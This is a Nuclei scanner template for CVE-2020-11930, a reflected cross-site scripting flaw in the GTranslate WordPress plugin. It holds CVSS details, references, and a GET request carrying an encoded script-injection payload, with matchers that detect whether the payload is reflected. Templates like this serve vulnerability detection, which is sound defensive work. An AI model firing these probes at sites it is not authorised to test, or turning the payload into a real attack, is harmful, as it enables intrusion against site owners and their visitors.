nuclei-templates/cves/2020/CVE-2020-11930.yaml

39 lines
1.3 KiB
YAML

id: CVE-2020-11930
info:
name: WordPress Plugin "Translate WordPress with GTranslate" (gtranslate) XSS
author: dhiyaneshDK
severity: medium
description: |
The GTranslate plugin before 2.8.52 for WordPress was vulnerable to an Unauthenticated Reflected XSS vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
reference:
- https://wpscan.com/vulnerability/10181
- https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
- https://plugins.trac.wordpress.org/changeset/2245581/gtranslate
- https://plugins.trac.wordpress.org/changeset/2245591/gtranslate
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-11930
cwe-id: CWE-79
tags: cve,cve2020,wordpress,xss,plugin
requests:
- method: GET
path:
- '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert("XSS")%3C/script%3E<img%20src=x'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert("XSS")</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200